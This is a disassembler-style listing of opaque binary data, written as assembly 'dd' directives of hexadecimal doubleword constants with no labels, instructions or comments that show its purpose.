dd 373113C0h, 5B160400h, 56D458DFh, 982EC79h, 0F9DA73EBh
dd 23C1E020h, 0EC005DD8h, 0FCD41210h, 0F6E74354h, 9CCF0050h
dd 2F04BE38h, 8100BA55h, 1EE02CE3h, 0E8C80Dh, 7A87BB41h
dd 0D72151F4h, 0A0721300h, 449BBFA6h, 944B4977h, 2593B900h
dd 8DD15634h, 0DB030203h, 1F53C0F9h, 264E3620h, 11411950h
dd 0E38AE066h, 1200A6B0h, 29A01DB7h, 0A5FACCh, 7ABA544Dh
dd 2E930A25h, 9E5CCC9Ah, 6E5C7701h, 0D15B02A6h, 848AFA8Eh
dd 76009C10h, 860F7A9Fh, 0DA840CA0h, 62C5B607h, 33F0CC46h
dd 3E4991h, 0E91F70A5h, 583904B5h, 0D31B757Fh, 0C8902A20h
dd 75BC27Bh, 9162F6D0h, 0C1C08037h, 42035247h, 1E355AB3h
dd 0C11C0A3h, 838700F8h, 0AB5CA02Ch, 0E474BF40h, 5A008F71h
dd 9FBB3744h, 16B5D75h, 8D6F3A8Bh, 0E4E08E97h, 8C3C67BCh
dd 0B1333056h, 1E25DF6Bh, 80B60C3Ah, 3D408539h, 791415F1h
dd 0A0AEA9h, 5F0B8356h, 399198B4h, 0A880F810h, 0ECCFFBD7h
dd 251E018Eh, 0B783E6A6h, 39D1DEDh, 0EA09FF38h, 75C0E912h
dd 0FA00F9E1h, 1173D09Fh, 189E2C17h, 89C89760h, 0BB008681h
dd 0F66F055h, 95FE4h, 0F23D4AF4h, 0C9E3A590h, 3F53903h
dd 0A8261241h, 6E9EEEC4h, 9E411Eh, 87755F6Eh, 0C000E507h
dd 25451244h, 5FADAA80h, 2DF402A6h, 54488A7Ch, 9B38C22Ch
dd 0A7D10106h, 0ED57E9DFh, 0F082A70h, 707BC97Ch, 980AA2E0h
dd 1800410Ch, 0DBA4E2E1h, 25BF96Fh, 0B70817FDh, 0F85A9F90h
dd 0CC3BE300h, 38EB5AEEh
dd 58E6A5h, 0A61DC8CAh, 370D4B18h, 7003395Ah, 80FAD57Bh
dd 95E8FBh, 7FB8EDF0h, 0B6C3A8C4h, 0A30F51C1h, 840A04Ch
dd 29972C6h, 54C201C5h, 0D683A470h, 0B8C31975h, 9D7FB3B0h
dd 13E23901h, 3B97C88Ah, 4E690FFh, 0EEC5008Ch, 0C1A443C6h
dd 870EFBF1h, 479B5Dh, 0D3CBF633h, 0C2C90035h, 0BE64CC10h
dd 19014AE5h, 7C50D78Bh, 15207508h, 0FC55F0BFh, 0D87649h
dd 214A74E9h, 0F5F3D042h, 72C79801h, 0C6472AD1h, 0BE18F4h
dd 0DC305AC0h, 19375312h, 26AFEA00h, 9A17F546h, 0EF6A0020h
dd 59DAF7ACh, 661C933Fh, 1E7CBEC2h, 79402847h, 163708E3h
dd 54E60AABh, 5504EEC6h, 6FAC00DEh, 0BB812E28h, 0E22CCAB4h
dd 670667B7h, 28863Ah, 840A098Eh, 0EDBEE82Bh, 0BD81C300h
dd 0DCF1E312h, 29A40067h, 0EB7F5282h, 4A808F13h, 0DD4288EAh
dd 2E28DA8Bh, 26940D88h, 0D7F51128h, 0E1047C21h, 12028E27h
dd 0CB02B897h, 4E025D8h, 48211F14h, 6AB7410Eh, 2A3401EEh
dd 0DA10A812h, 0E2AB8B99h, 50A35178h, 0F11806DBh, 2F299636h
dd 410C89E6h, 9A05FE3Ch, 4051E229h, 3C41A8B5h, 1BA4CE70h
dd 0CFC600E8h, 24B7710Ch, 75023600h, 65D147EEh, 68E4D4h
dd 0D5349B94h, 0E40B5379h, 38AD2803h, 0B0C1EAFAh, 0C00243h
dd 0DA1A5DCDh, 96264CF0h, 0BA3E6C00h, 5F7A74CCh, 56B8A3h
dd 761530F7h, 0AC514BFEh, 2C4C4D00h, 70037C8Eh, 89D3E82h
dd 0CA169800h, 0E646E5CDh, 0C47DCB00h, 6F3F340Bh, 68AC0084h
dd 4D860911h, 3707963Dh, 0CE1AD67Ch, 40F5EB32h, 9F1C08h
dd 7983A7CBh, 0DC6DBCA5h, 39CD743Ch, 0F6488045h, 0B57A3AADh
dd 85A000BAh, 697D063Fh, 53002692h, 6A434544h, 0C660C2h
dd 75862BCDh, 0C1B735A4h, 27735F00h, 3B96F236h, 0E0A33922h
dd 0CE0E9Eh, 0A8F7AFDFh, 0E548E14Ah, 88A47E60h, 5A0A4200h
dd 24B42FE8h, 41EE00F3h, 0D64DA1AEh, 2A00E69Bh, 3B3C34D7h
dd 0B731F5h, 0C5AE3382h, 0E9916338h, 7D711800h, 1A56607Ch
dd 4BC9003Eh, 89D1A7A6h, 8F1E53CDh, 0B2A83CA4h, 470A3900h
dd 0ABB15B92h, 3DC0005Fh, 2FC46827h, 38E6FC62h, 0AC950300h
dd 3286395Bh, 2425002Bh, 8DCF2E01h, 53000715h, 69D34EC1h
dd 54F63BEh, 88FDEA1Ch, 0BDE3C02Eh, 0FEB05649h, 30052FAh
dd 1CC1A8B7h, 9E6CBBh, 27584A0Bh, 50F3335Dh, 758A1200h
dd 0A7817FF9h, 0C91A07B5h, 6B697A9Bh, 9C126502h, 83A0DC80h
dd 7C00D21Dh, 2DC2273Fh, 0ECD44A4h, 0C0AF5F11h, 4B5CC160h
dd 54050607h, 7E6D78A8h, 0EF34C300h, 0F7841208h, 0DD48D8h
dd 51BDAF4Ah, 371DFB3Ah, 711F8F00h, 0A8A1DF0Ah, 0E6F479D1h
dd 86001F0h, 9410B816h, 571922Ch, 0AB352020h, 4C4E0E5Ch
dd 0B2A2F4h, 0CFE4B779h, 2A5B1F87h, 0D20FA0F8h, 0FDA04ED8h
dd 209DC7E9h, 72A63Ch, 0DD2C1002h, 4CC68B3Eh, 7D00687Ch
dd 33E571F4h, 0B7488FC5h, 20CF1710h, 0EC046B05h, 41AFE881h
dd 7859ECh, 0B8D711FEh, 0C7D3E440h, 36005F70h, 72534BCEh
dd 142B9D45h, 0F4F35798h, 0C8422C03h, 8BE0311Ch, 41000EEDh
dd 0CAD7DFE4h, 185249Bh, 0E521615Ah, 0C8053AA6h, 0DF014635h
dd 0EFE1AE06h, 0C07B4382h, 661F0308h, 9DB1BC07h, 90107CE5h
dd 3CEC2D36h, 7F8B3565h, 0F500C232h, 77FBD6D4h, 34E60A0Ah
dd 5D0F99AEh, 0C46B20CEh, 0CD8309h, 81E18AF8h, 58F47318h
dd 0C01D1100h, 54690B6Ah, 9ECE0B3Eh, 0A08049CAh, 0EF2A6C82h
dd 0C435E600h, 6DC2B82Eh, 7F26008Eh, 47F1F459h, 0C600AC93h
dd 91FE7D50h, 3DAEABCh, 289EDB3Dh, 0E7A85644h, 0BA07465Fh
dd 67694E37h, 688FD2E0h, 0B5180055h, 7194644Fh, 8300A83Ah
dd 45E633F4h, 0A0524DE4h, 44ECDA4h, 57046AA5h, 0BB14D285h
dd 8E768B60h, 0D8B7B400h, 0AD09205Fh, 486B071Ah, 80885BC2h
dd 45EA40CDh, 68BB1801h, 8D3AFCD2h, 63AE70h, 0E3ECFA1h
dd 29C9B204h, 0D8EFA03Bh, 5D010412h, 1680EC0Ah, 3E1D39F2h
dd 5C001984h, 1E08A4B2h, 0CC983BF5h, 0F01312F8h, 3040C85Fh
dd 0CC5EF6EEh, 261A02C0h, 553AA733h, 8B94B881h, 25A43032h
dd 0C2A80800h, 0CE0D7485h, 0B0E459E6h, 61746C24h, 0C44CEA0Fh
dd 0AD00C472h, 9DB88CB6h, 0D733DAh, 1D5939D2h, 6038DDA9h
dd 0FA1ECCB2h, 8870EA15h, 727E02Bh, 4FE79310h, 0A1C41024h
dd 940086EEh, 2D928CC1h, 2547B5h, 0DF59E15Dh, 295C1990h
dd 97756A03h, 0C8091D81h, 0E65016h, 98658594h, 8A44830Bh
dd 0FDD47600h, 73325D82h, 0FF2A4870h, 0D096000h, 59C9BA9Bh
dd 47755A00h, 1DF3BC3Ch, 1F8D00E0h, 6B45B283h, 0B2B009A5h
dd 0D8739103h, 0A8256FB1h, 0CAA271h, 0AEDD9437h, 0D6E28898h
dd 0C5865B03h, 0A01922EEh, 0CDCD41Eh, 3644EF75h, 9B007766h
dd 8B679C9Ah, 36E79h, 0D299BB60h, 0A0F8179Eh, 0C646B107h
dd 1F41218Fh, 0A7CC2361h, 1A872C94h, 0EE110094h, 7974AAC4h
dd 5F9F7200h, 3F08E88Bh, 8F150943h, 0F800BDA5h, 0C6DC20D8h
dd 0ED974703h, 0E8DFCB04h, 1AEF825h, 0DB313AAFh, 0C070D060h
dd 700046Ch, 6569965h, 96F477h, 11185FD3h, 2A2FAD10h, 0D2810200h
dd 0A9E4F5D4h, 1C280FBAh, 0EDC0A74Fh, 8F8B1466h, 0D2CA4806h
dd 0FC21D044h, 18CE0107h, 16B64A2Eh, 101980E9h, 0D5C7438Ah
dd 996B0046h, 137BEA86h, 4D3B5CE5h, 0A100FB96h, 0F8E1BFE6h
dd 386E9h, 0EDD9F265h, 0B7D1B0FAh, 0C6797000h, 39AE7182h
dd 0B6830043h, 0B12EB874h, 0BE0FECD5h, 405D4CA4h, 0DF8DF25h
dd 818097Bh, 1087286Eh, 481F60C5h, 8107FD93h, 0A4A8BD75h
dd 9CA37050h, 9CDFE9Bh, 5E8CA1FAh, 0EFAA8400h, 69009490h
dd 166FF46Bh, 11EA80Ah, 0E2CAF72Ch, 314EBD5Fh, 6414D410h
dd 61986E04h, 0CCC0AA73h, 0A2319105h, 0B0D449FFh, 0B2063DCh
dd 0A2FD1353h, 0D9697080h, 600043DDh, 14EDE1Bh, 3C72DB54h
dd 0CE803307h, 0C3CF29ECh, 0BD0CAEE7h, 70D7F30Fh, 1EE600D4h
dd 6066CBB8h, 2A004575h, 0AC077864h, 73FFFBAh, 0BBD107Fh
dd 0C12C80A8h, 6400977Eh, 1D727BD1h, 0EA4D3CCBh, 1FA300FEh
dd 0DA4C6CD8h, 0B3E304Ah, 6157825Fh, 0C40CE278h, 2C70B0F0h
dd 42F05E1Dh, 560FAA7h, 9E0F2F54h, 260E810Ah, 4C28394Fh
dd 500075ABh, 8242F7D0h, 0A003DFBh, 0FF51B11Fh, 0C936857Dh
dd 8A808E28h, 0EBE30764h, 52204B6Eh, 0E1689A0Eh, 0F0D578D0h
dd 5C0EF840h, 0A64100FDh, 4CC06DE8h, 2107F557h, 17139A2Ch
dd 0A812DFC0h, 3F640CB9h, 0C110B33Dh, 73E6EB14h, 0DAF28080h
dd 0DC6B6h, 6A1F6F32h, 0EF73122h, 0D3762600h, 0CB921BE7h
dd 65271FEBh, 2C0A80CFh, 9FA58A1h, 4122130Eh, 0BF812EC5h
dd 2C0D4DDh, 1CAB6112h, 71722E54h, 8AB40094h, 0B674083h
dd 0CC10B000h, 0ED5FAEE2h, 99260737h, 20DFA4BFh, 0E3FB4E40h
dd 3A50C40Fh, 8E820796h, 0F3905DD7h, 6B8F3Dh, 558017B2h
dd 0D2371E6Dh, 0C107677Bh, 0FB952F21h, 616C00A9h, 50D44146h
dd 3D42D925h, 560FDC30h, 0BA4001ECh, 75EF03E8h, 3F00E67Ch
dd 160C1451h, 7AFDDD20h, 0AD390073h, 0A2F83AC2h, 2412B642h
dd 3400EFE8h, 5510917Bh, 7AE45Eh, 0A80F9816h, 0F3FE8AEBh
dd 7AAE4126h, 0C11E611Ch, 0E7BE3880h, 37D3774h, 780B79F5h
dd 0FF056DFh, 3F1D04E1h, 66C01DBAh, 7E715A45h, 0E3982C70h
dd 640BBA4Ch, 340083D2h, 0C079A9F5h, 6A746200h, 0FE825630h
dd 109700C1h
dd 0F4516175h, 0CF007F42h, 0BE09331Fh, 9ACCDC9h, 97A4FE4Fh
dd 8C93AC40h, 99020700h, 0BBA9926Ch, 86B00017h, 4A54C813h
dd 6A7E2CD4h, 350084EAh, 82E846A2h, 7320BB32h, 0F3DF1E98h
dd 80375E2Eh, 0C4A3B935h, 3800E5EBh, 1E655484h, 0DDFDD1h
dd 3C5B0A7Dh, 73B69E62h, 318BBC03h, 0F7384D9Bh, 0D9D24AB0h
dd 4FA00108h, 0C6FD5971h, 5BE0D207h, 6E0191F3h, 0CF3BC281h
dd 0C7E890EBh, 61CB092Eh, 89803998h, 5E1049C0h, 869D2700h
dd 5D2CA3F8h, 0C26F012Eh, 0EA2D3EACh, 189C408Dh, 9A2CA5FDh
dd 492855h, 0EDEA020Ch, 0D23A0012h, 7EC384B2h, 3300B41Dh
dd 95854C4Fh, 0B573B39h, 280AEA5Eh, 0B2BE4080h, 0B9009032h
dd 1F1DFAD4h, 2EBBF7h, 0CA3C60Ah, 47B29E02h, 0EC358h, 10424C9Ch
dd 3E6E260h, 17DD70AAh, 9480079Bh, 50B0BCA8h, 0A7A62000h
dd 669036A1h, 8CAE4C18h, 2F8E2C00h, 53841C83h, 0F6484C0Fh
dd 61C740F1h, 5FCEEDh, 3A163301h, 0B35E6FF7h, 29E8A200h
dd 0E7871D13h, 8E24079Ch, 81A748CAh, 0ECB1FCA8h, 5000EBE1h
dd 0CB8A0D5Eh, 0FBE40Bh, 0A18FB743h, 28535592h, 0FEF1E800h
dd 7D1BDFEBh, 5B501FA9h, 0CE5E03C9h, 0A21D79C7h, 3B80B917h
dd 2AC2981Ch, 0B75800E9h, 904CAA0Dh, 0AC0A6C69h, 0C080A8EEh
dd 0E83CD800h, 80FDAh, 6C0661D0h, 2DAA458Ch, 8F4D5200h
dd 3F02C4E6h, 80DB5CF4h, 0D5C69600h, 0A1977BF9h, 874AA900h
dd 0F702A4CCh, 80551472h, 0CD4CC0D1h, 0DF01383Ch, 0CAE0BC7Ch
dd 6D1860DDh, 0C6ED7A03h, 0D894D646h, 0F4E29Dh, 0B381618Fh
dd 0C241B536h, 0C6005890h, 1E2565B8h, 83DF66h, 0E18093DBh
dd 0FB1A75B2h, 647B782Eh, 510CAE00h, 0F66839h, 62501381h
dd 188466EFh, 0EEBD1F0Ah, 3A3BBD4Dh, 0B45C8CBh, 923C70h
dd 83EAE121h, 0A4D001EBh, 0B952A5F0h, 7008E120h, 1278564h
dd 787007F2h, 0E98B2770h, 8D5F0EABh, 57E02892h, 841F66BDh
dd 12DAC209h, 0B028608Eh, 0E809CDBh, 7A03633h, 3D524F1Fh
dd 7C00C87Eh, 0F06B9AE5h, 0BC49BA3h, 2E534BE7h, 4CE6CCA0h
dd 0DF50D916h, 81C1D182h, 7F66F96h, 0B02CDEC8h, 0A53A044Dh
dd 0B0D31CFEh, 0CF138F50h, 960BA03Bh, 606D0F68h, 3E190E1Dh
dd 52043932h, 21A6A800h, 71450BBCh, 25B02402h, 0E87D1FF5h
dd 7F8A3D4h, 941BDCD0h, 0AC26E09Bh, 400D647h, 3897EF57h
dd 72CAAAA5h, 0F83E0098h, 13426F8Ch, 0FC00C4BDh, 28B1A732h
dd 2651C64h, 0E948BAAFh, 0D740EC2Eh, 0EDE8E141h, 0DE307100h
dd 6E3EFACFh, 9C82003Dh, 0E24AB7A9h, 981CAF02h, 28CAD883h
dd 9E008887h, 58494C3Ch, 0A2B112A6h, 0F62B00C0h, 0CCD77B34h
dd 0D2ADE00h, 0FCE84F17h, 138D00C5h, 4DBC22ACh, 33007B92h
dd 0E0B4C0E6h, 14D305E2h, 0F0092850h, 8231F500h, 6A04D8AAh
dd 6E7D0B00h, 0CFE8DC19h, 1BD6026Ch, 0B24F143Ch, 1960FC42h
dd 0CA7C7718h, 938BF800h, 16A73BF0h, 70C9038Fh, 0BC081FE3h
dd 0A8C41A80h, 0E285ED02h, 87F180F9h, 8943D896h, 7FDE901Ch
dd 0F609AC2h, 3BC0FD10h, 855450C0h, 0D97CA76Fh, 4F9D05Ch
dd 0F9705341h, 71820C90h, 9DE3000Ah, 0B34F7CACh, 472C30A5h
dd 55074849h, 0D4305DB0h, 579A4B8h, 274B33A6h, 7AA44093h
dd 0ECB72D1Eh, 881C0475h, 5240419Ch, 9742CE8Fh, 0E27207BFh
dd 40B7FB69h, 1FA6E9B1h, 593F79B0h, 49A7936Fh, 272A3040h
dd 92AFAC9Fh, 0F5D90894h, 80BEED5Ch, 126C3F5Dh, 1D579E8h
dd 0A08F1780h, 0D83BEB39h, 6A0208D1h, 0BF4871E0h, 91A840B8h
dd 0B314008Eh, 81BBDE95h, 7E319770h, 8FF0D852h, 0B434E921h
dd 32670CA4h, 0D738F138h, 6381DC09h, 0B9F860FEh, 68570014h
dd 6782F0AAh, 9C287A3Dh, 0FB04E042h, 0F5BEA73Ch, 8ADD28E1h
dd 413A9C4h, 0F217BD26h, 0F1AC9060h, 181C8788h, 0D0C05578h
dd 403C69A7h, 0DDEF00B8h, 0F293C88Fh, 0B301D474h, 2D337F32h
dd 37F9BCCEh, 0BB78F4h, 47AD810Bh, 49CBD61Bh, 0DA667D06h
dd 0C8226Fh, 54CAC4E1h, 0C28A61A7h, 0E85D6000h, 0B07F13D5h
dd 791C093Ah, 0E300F572h, 8B96D1BEh, 5DA89500h, 8A5BF37Eh
dd 0BA440322h, 36BF2374h, 70EC68E9h, 1100FB80h, 0B6667188h
dd 25445Fh, 81AAE7C1h, 98DA86FCh, 843C207Bh, 0CA0BF716h
dd 3AADF2h, 6D2230DBh, 0DE240BB7h, 50807282h, 761425ECh
dd 188EE109h, 0EEE04023h, 39C9C90Eh, 0F22CF090h, 8767BB00h
dd 6354E4EBh, 2D933A96h, 22A54C81h, 0EDB59C0Bh, 30C3ED04h
dd 0F87FA44Ch, 0CDBF8D1Ah, 5AD6C0FCh, 0FA3E0069h, 87D7ED5Bh
dd 0C7002C3Dh, 22262472h, 9EDD8Eh, 8346FA7Ch, 1490962Ah
dd 6AC32004h, 5EC0D85Ch, 0D458C6h, 0A047B3B0h, 0E281FE5Eh
dd 62796E00h, 0CF42616h, 0A9E11457h, 879CC05h, 2187912Ch
dd 0FDF14D07h, 0B97A001Bh, 6F946Dh, 0EE8B1A85h, 95920ED7h
dd 9C3CA600h, 0F2060381h, 0F3D00156h, 0B08F80F0h, 0E8DEE561h
dd 31C27C1h, 0E8D4FA7Fh, 0B60706CCh, 302249Bh, 0FE3B67C4h
dd 0EC808B7Dh, 8D001BA7h, 94FF1C97h, 16E82260h, 7CD0276h
dd 0F0AC7D20h, 4C7E3474h, 0FE7C0100h, 3E245B14h, 3977004Bh
dd 252CB5Dh, 277731B4h, 72F76F2Eh, 0C0EC2F09h, 99391880h
dd 7FD200DCh, 27F4771Dh, 83CDBA00h, 1F17BB9h, 0F8D900E7h
dd 0E08631EBh, 8E00F99Ah, 3976D7F3h, 0B8460Bh, 23A70916h
dd 75CB7F5Ch, 1D3A6B3Ah, 0D600741Fh, 0AC0B60D4h, 0D11904B4h
dd 0C06B460Ah, 42351340h, 0D8215230h, 0B56E3h, 58A4530Eh
dd 0A33D2331h, 4EE76C07h, 7CA0F4C7h, 7F69E1h, 4DFD72A0h
dd 906A095Eh, 0C6BB1817h, 61048080h, 0A96E1DA1h, 9A72C022h
dd 0D6311F77h, 1C2C5A5Dh, 7AC3C596h, 0D8EFAF29h, 0A1FE5940h
dd 107254B4h, 33211E00h, 6D9BEEF6h, 4C3E48h, 0B7A2D493h
dd 0A3C609h, 0DEEA7860h, 0BD913936h, 83529409h, 0FFD4870Eh
dd 4097C3D0h, 0F0AC12D1h, 0B66D0004h, 0DAA3795Ah, 0CC6ADF00h
dd 1FEB06C1h, 6EC0005Bh, 0FE7591C3h, 0F8E70960h, 9007C7EAh
dd 4ED48192h, 98F8ED80h, 59A00019h, 0DA9CBB6Bh, 0E501F77Dh
dd 1E0D23A8h, 1062A250h, 0DDAA0302h, 4A11FD70h, 12C824h
dd 0B920B645h, 52F33393h, 74708D60h, 166F979h, 0E47A35C8h
dd 8043ADD7h, 5A4A9358h, 78B09753h, 0E1521309h, 76C0007Fh
dd 0F0555E61h, 0CA531F17h, 543C6C40h, 2862F4Bh, 0E10F14DCh
dd 0B463ACE9h, 0CC3903C8h, 710ECA00h, 229620E8h, 29694889h
dd 0A554FD00h, 73DB67F1h, 8C09147Dh, 619A7FBFh, 0B7CCF5D0h
dd 69E66019h, 88E154AAh, 18009F5Fh, 6E25BDA4h, 6C4A06B0h
dd 28EFE670h, 0CF310507h, 0DD081F4h, 5F3666h, 87E1C142h
dd 532AC015h, 8AC9E800h, 0BFD38E0Bh, 9F489885h, 490157C0h
dd 8300F698h, 6C4BFE57h, 1A1B0B6h, 0F008CF0Bh, 0D9E53DE4h
dd 0EC11DC13h, 0AF98CC00h, 5D0159D4h, 45BB0002h, 0ACD95FB2h
dd 0C8A18BCBh, 75F5F452h, 0DA8DC100h, 0A25DBBFh, 0D6D03A2Ch
dd 0C692F100h, 2EEE41A8h, 0C1E99A03h, 9947C80Fh, 2C24C5A0h
dd 91700075h, 847A985Eh, 0B8B01DB4h, 0C5D4103h, 0E8AB3BEDh
dd 4F33B7h, 4EFAADA4h, 72F7F3E1h, 0D8AF7000h, 0C776F054h
dd 8E6801CDh, 0AA9D91F2h, 0FDA4D463h, 0C2A3C102h, 60790C4Ch
dd 3B75F9F8h, 1A04EA9Eh, 80999DE5h, 0B50FAA40h, 96620318h
dd 126610h, 3D477F10h, 4E2DDDA9h, 770998B6h, 56B8602Fh
dd 0C15AA2h
dd 7EE8C324h, 970990EFh, 5A1043h, 521D18C4h, 0E47D58C1h
dd 0DAEAD203h, 3190A8F2h, 133AF874h, 2153842Fh, 0F4C12BDDh
dd 0C4300F32h, 0FD3A1E7Ch, 0E8C88038h, 17A524Bh, 0E2D64Ch
dd 1B491075h, 1446D2Bh, 0F3F9BB91h, 206BD9FEh, 0F400CDB7h
dd 0DA9D1DCEh, 64FF9Ah, 51E43029h, 8EA432Ch, 2F388400h
dd 359A7A1Ch, 19E7041h, 824E1118h, 78EE6DA1h, 210B004Ch
dd 43D1B4DFh, 1DA30ECFh, 0F1A08BAEh, 40B6B972h, 117F5000h
dd 342E6C91h, 985900C6h, 0CA672825h, 17757655h, 0EE37AC00h
dd 9289272Dh, 0F30B8B6h, 77FA5ACEh, 4E355F22h, 1B011C60h
dd 0A500B0B8h, 5DFFC27Ch, 3BF355FDh, 5689CEDCh, 982045BAh
dd 3CEB734Ah, 0E953003h, 0EAAA375Bh, 2B60E268h, 0C96003C8h
dd 70DCEAC3h, 76880074h, 3C5C89D9h, 791D940Ah, 0C10087FFh
dd 25C347AAh, 72F0067h, 68A619CFh, 9C00E7B6h, 7122F9EAh
dd 39C5F2h, 7874CEB7h, 0AB8A001h, 0F5823Bh, 2A3DE3A7h
dd 1746140Ch, 0C0248473h, 42712C28h, 0F147FF00h, 0BD95B2A6h
dd 304B07Ch, 2A15FA8Ch, 0F6E36F87h, 4E3A84B0h, 0DCAE4700h
dd 166B74DFh, 1F701DEBh, 0CA2C4302h, 0AD88D476h, 6503F45Eh
dd 5BFB7151h, 0FA0F7E7h, 2A5CC1h, 2DB7F6C0h, 0DFE2063Dh
dd 0ABBFF901h, 0CED32457h, 26C62C64h, 16C01F6h, 3A74098h
dd 3E5ECC6Bh, 804D8538h, 0B0C4683h, 77C91B07h, 8CD138F4h
dd 4C9B8F80h, 0D51D050h, 11313318h, 4D6F3620h, 0E61D08D2h
dd 5D228007h, 0D9433FBFh, 5F0070DFh, 0AFA3367h, 249902FFh
dd 37405B60h, 368310A0h, 10E2AFAh, 0EF2079Ah, 0B43839Dh
dd 18B9F66Dh, 69583B6Fh, 16007A09h, 19F1E062h, 0C33D14BEh
dd 22CA07E0h, 38C0DFC2h, 3604E002h, 3F0C09F3h, 0A3C02A80h
dd 0F793346Ah, 0C15F8048h, 22E0DA75h, 0B156100h, 1667ECF8h
dd 491E00B1h, 5B5D21F5h, 700F2DBBh, 79174h, 32C52EC7h
dd 36DC1479h, 0EB01643Ah, 6557C0DBh, 7C202815h, 0BA98FF7Ch
dd 0C4E1C60Fh, 0BF52A0A2h, 97A18Bh, 23B66D04h, 442C873Bh
dd 0B85FE600h, 0E7D2C58Eh, 36F81C4Fh, 85CD00A6h, 37550B96h
dd 94667900h, 1E8308D9h, 1823989Ah, 7032E140h, 3EF8C8E8h
dd 66C5A00h, 2A9D4568h, 7AB00F2h, 3C70A7AAh, 0FEE07B24h
dd 439AF400h, 0C349083Ah, 0D12E0326h, 593F424Ah, 6458F2D0h
dd 0B6002C90h, 41DDCF83h, 0AE1AC8h, 0D63F7ED2h, 3ACE47Ch
dd 81620D00h, 0F0842DA4h, 855000CDh, 5394953Ah, 6E000BB1h
dd 75F64333h, 3DEEC89Bh, 1C87DAA0h, 53D04AB8h, 0ADA8A148h
dd 7B00AEC9h, 0A018605Ch, 1C583E0h, 4C04378h, 0F9961AFAh
dd 0DD9B4069h, 0EB1F20A0h, 0F2C0DE30h, 0C2F9724Eh, 0EFA60078h
dd 7193D89h, 0A503BBD3h, 74159060h, 0BA61E05Fh, 0B6D7AABh
dd 0E1D9E2D1h, 0C7B987h, 0C6D3DC14h, 54AD9A18h, 0E17D11h
dd 0B9D13042h, 7E248645h, 175E2B00h, 19616A79h, 483549D9h
dd 7004538h, 5AB4FA49h, 0DC014427h, 0DA053C83h, 86E0D372h
dd 0F820956Eh, 0D0AC1878h, 0CA9C8000h, 5EC2D6D1h, 475B0E89h
dd 1CC49Eh, 0F8AD1D94h, 0B200887Bh, 873DB01Fh, 777AD837h
dd 59503EABh, 0EADE7F8Eh, 0D0F60013h, 730A966Dh, 35919E00h
dd 4693450h, 0F8533CE6h, 0B609C28Bh, 0D7FD7480h, 9F00B89Dh
dd 0E1848EE0h, 3001DB2Ah, 0AB88F22Bh, 38020C93h, 6AA919ECh
dd 9EEDC08Fh, 0D14900BEh, 45E34386h, 0F6019D2Bh, 0C8BCECAEh
dd 0ADF092E1h, 71370056h, 9ACFC910h, 41000C05h, 0A2D73665h
dd 6DD369h, 20E72939h, 93725915h, 57D93000h, 0C2AEE0E6h
dd 9BE80FF1h, 0BD80A651h, 0BE881D7Ah, 8EF5AF00h, 3ED65EC6h
dd 0DB200047h, 74A68FD0h, 0B00FF2Eh, 12EF0611h, 13F91DDCh
dd 4C0E0D5Ch, 2DE93B1Ch, 0F0740500h, 0DC45109Ah, 0A274CFFh
dd 20E1187Ah, 1660E43Fh, 4D46110Eh, 0BFDCE0A4h, 92D7C5h
dd 1B0A3EBDh, 0F401DA07h, 0E1C02700h, 0A375AE93h, 827F005Eh
dd 29C9F2B7h, 0B81C92D8h, 15C0C879h, 7B255224h, 14C09A46h
dd 9059435Dh, 0AD7E0073h, 2BB28D75h, 0A8036DB1h, 1347D8B0h
dd 0D22DD0A4h, 5BB40763h, 0B0FDD374h, 60533EC6h, 1C582479h
dd 83F639F2h, 7ABBABD5h, 0E6100028h, 8A532BDCh, 0B50007BAh
dd 63781D58h, 0F1CC8A9h, 82173A5Fh, 61F9031Ch, 0F01F15FEh
dd 40F0B951h, 1A4472Ch, 1FFB53E5h, 2585E6F7h, 5D7C4A8h
dd 0CC7AD207h, 0E9610459h, 17CC063Fh, 2E7516B7h, 88042023h
dd 0C0160E44h, 0E70721EDh, 7FD04518h, 5DFC1DCh, 9B7EB59Ah
dd 2B87AA93h, 0D4466AD0h, 5C880078h, 0AC910AA5h, 2800E41Dh
dd 4F189C4Bh, 0C49812h, 0F93F93A0h, 75D59456h, 8C4EF602h
dd 602765E9h, 34830B6h, 0F8BD839Ah, 0E7C8B3ABh, 9005A21h
dd 450F9542h, 7C61ADh, 9881D340h, 2F6E2803h, 3E19FA07h
dd 283CC7F4h, 31251E06h, 77B30026h, 0E2CF4AC0h, 0ECE5800h
dd 7F7E5D99h, 408A3904h, 8E0D9D02h, 0E440F54Fh, 2E0078A9h
dd 0CE77EF2Ah, 0B11CBBh, 0CCD19EB8h, 3CBC123Dh, 9ADC7200h
dd 4FEDC38Ch, 0F37C00C5h, 77BB93F2h, 77F2A99h, 0F4F15000h
dd 1917A89Dh, 0E65AE0h, 1371C100h, 0C94E2227h, 32A4BB0h
dd 0BB36F7Dh, 98B03586h, 37020526h, 1EA5D29Ah, 3B2660CDh
dd 0DCB3016Bh, 68C1A016h, 0CFC720A8h, 0E185E707h, 6BC00924h
dd 0DAA939h, 0E8C6AE7Fh, 59AD779Ah, 32D3D503h, 0B8B79B99h
dd 240376Dh, 95845641h, 6C6834F9h, 4CE0BB74h, 0F7C8EC3Eh
dd 0A0BF1403h, 88CB2F27h, 900D90ACh, 858901BCh, 89E1931h
dd 184E052h, 795DEF01h, 20648D60h, 7DC14420h, 0FDF300B0h
dd 0C8C76B2Ah, 0DF009B18h, 67909AF7h, 38FA8968h, 9AF926CEh
dd 0E26F00ACh, 0CBB53BD7h, 6E00AD12h, 702A44A0h, 720751Dh
dd 94B9F678h, 0BA6BF1C5h, 877E7059h, 0E3D00600h, 0D839DCA6h
dd 5C10C088h, 0FB3BAB8Eh, 9E460501h, 0EF36962Ah, 0F732E4h
dd 3C2C0633h, 6A85E5F6h, 0C9F5A413h, 25A0B00h, 639D53h
dd 0D0F613DDh, 49A2B5D8h, 923E860Ch, 3771B1h, 0A808C37Ah
dd 93F8A6B8h, 3074F3Bh, 12F3FBD7h, 56F9004h, 0A0A5B818h
dd 1401DB3h, 4790039Ch, 0F82D7449h, 0BA0001CEh, 0CCA84656h
dd 0D00C29h, 4E48CD79h, 0B37985Ah, 1A5EAA00h, 68F22E7Ch
dd 0E79C01E8h, 3F887661h, 0C89DD00Fh, 70E52D01h, 52257EA6h
dd 2CD83020h, 94F582h, 0F70190DFh, 0BD0BB620h, 8F21339Bh
dd 0FF14C1C1h, 0D080A884h, 8791C804h, 50917218h, 0F256803Dh
dd 7B65B921h, 20300E2Bh, 0C09F7AA7h, 0C8FC934h, 751CDF1Ch
dd 0C4006DD1h, 0A3F00D54h, 7C2B0042h, 1902D526h, 76B8F40Fh
dd 7B226D01h, 0B6186321h, 3CD8E4D8h, 0EC002B9Dh, 910E8BD6h
